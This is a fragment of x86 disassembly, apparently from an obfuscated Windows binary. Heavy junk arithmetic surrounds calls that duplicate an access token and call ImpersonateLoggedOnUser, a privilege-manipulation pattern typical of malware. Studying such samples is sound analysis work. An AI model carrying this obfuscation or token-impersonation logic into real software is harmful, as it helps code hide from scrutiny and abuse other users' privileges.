sub ecx, eax
mov al, byte [0x4373c8]
imul dl
add ebx, ecx
sub byte [0x437499], al
mov eax, dword [esp + 0x14]
mov dword [0x4373c4], ebx
jmp 0x406fa3
mov ebx, dword [0x4373c4]
imul edx, edi
add edx, eax
mov dword [0x4373c0], edx
mov dword [esp + 0x118], 4
test esi, esi
jne 0x407052
push 0x4373e0
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
movsx ecx, byte [0x4378f3]
mov edx, dword [0x4373d4]
sub edx, ecx
mov cl, byte [0x4378bd]
add dword [0x4373c4], edx
sub cl, 0x49
push 0x4373e0
mov edi, eax
mov byte [0x43792c], cl
call dword [sym.imp.ADVAPI32.dll_GetSidIdentifierAuthority]
mov esi, dword [0x4373cc]
test esi, esi
je 0x40702c
mov eax, dword [0x4373d4]
lea ecx, [eax + 0x356]
add eax, 0x69
mov dword [0x4373d0], ecx
add eax, edi
lea ecx, [ecx]
add esi, eax
jne 0x407020
mov dword [0x4373cc], esi
jmp 0x407032
mov ecx, dword [0x4373d0]
mov ebx, dword [0x4373c4]
movzx ecx, cl
mov eax, ebx
cdq
idiv ecx
mov ecx, 0x7e
sub ecx, eax
mov dword [0x4373c0], ecx
jmp 0x4070c9
mov cl, byte [0x4378bf]
sub cl, byte [0x437530]
mov edi, dword [0x4373c8]
movsx ebp, byte [0x43785a]
sub cl, dl
add cl, byte [0x4373c8]
movzx eax, dx
mov ch, 0x24
sub ch, byte [0x437432]
add eax, edi
mov dword [0x4373d0], eax
mov eax, 0x43
cdq
idiv esi
mov byte [0x4378bb], ch
mov byte [0x4378c4], cl
add esi, eax
add esi, esi
sub esi, ebp
sub esi, 0x5d
jne 0x407085
add byte [0x437897], 0x8e
mov eax, ebx
sub eax, edi
add eax, 0x2f
mov dword [0x4373c0], eax
mov al, bl
mov cl, 0xc6
imul cl
add byte [0x4377f3], al
mov dword [0x4373cc], esi
mov edi, dword [sym.imp.ADVAPI32.dll_DuplicateToken]
push 0x4373c4
push ebx
push esi
call edi
movsx edx, byte [0x4374b8]
mov ecx, dword [0x4373c0]
mov ebx, eax
mov eax, dword [0x4373d4]
add ecx, 0xd4
shl edx, 6
add edx, ebx
add ecx, edx
mov dword [0x4373c0], ecx
mov ecx, dword [0x4373c8]
mov dword [esp + 0x3c], ebx
lea ecx, [ecx + ecx*8]
lea ecx, [ecx*8 + 0x377]
mov dword [0x4373c8], ecx
cmp eax, dword [0x4373d0]
jg 0x407235
push 0x4373c4
push dword [0x4373cc]
push ebx
call edi
mov ecx, dword [0x4373c0]
mov ebp, eax
mov al, byte [0x43784a]
imul byte [0x4377e5]
mov dl, cl
sub dl, 0x4f
imul cl
mov cl, byte [0x4374cb]
add cl, al
mov byte [0x4378b6], dl
test ebx, ebx
jne 0x407153
push 0x4373e0
push ebx
push ebx
call edi
movsx ecx, byte [0x4374b5]
imul ecx, ecx, 0x3d
sub ecx, ebx
mov dword [0x4373c0], ecx
mov cl, bl
sub cl, byte [0x437525]
push 0x4373e0
add byte [0x43742e], cl
mov dword [esp + 0x38], eax
call dword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov ebx, dword [0x4373c8]
mov ebp, dword [0x4373d0]
mov edx, eax
mov al, bl
imul byte [0x4373c0]
mov dword [esp + 0x14], edx
mov cl, 0x3d
sub cl, al
mov eax, edx
xor edx, edx
div ebp
sub cl, byte [0x43750b]
mov byte [esp + 0x13], cl
movsx ecx, byte [0x437412]
mov edi, eax
mov eax, 0xac769185
imul ecx
mov eax, dword [esp + 0x34]
add edx, ecx
movsx ecx, byte [0x437863]
sar edx, 6
mov esi, edx
shr esi, 0x1f
add esi, edx
sub esi, edi
mov edi, dword [esp + 0x14]
add ecx, edi
movzx eax, al
add ecx, esi
add eax, ecx
mov ecx, dword [esp + 0x3c]
lea edx, [ecx + 0x1f]
add edx, eax
mov al, byte [esp + 0x13]
mov dword [0x4373c4], edx
mov byte [0x43744f], al
test ecx, ecx
jne 0x4072e4
movsx eax, byte [0x437510]
add edx, 0xfffffd12
xor ecx, ecx
add edx, eax
mov edi, edi
inc ecx
imul esi, ecx
cmp ecx, 0x11
jl 0x412a10
mov bl, byte [0x4378b7]
mov edi, dword [0x4373d0]
movsx eax, bl
lea ecx, [edi + edi]
sub ecx, eax
mov eax, dword [esp + 0x1c]
add eax, 0x23a9b
sub ecx, edx
add eax, ecx
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x4c]
movzx eax, ax
add eax, 0xffffff98
add edx, eax
jmp 0x412a25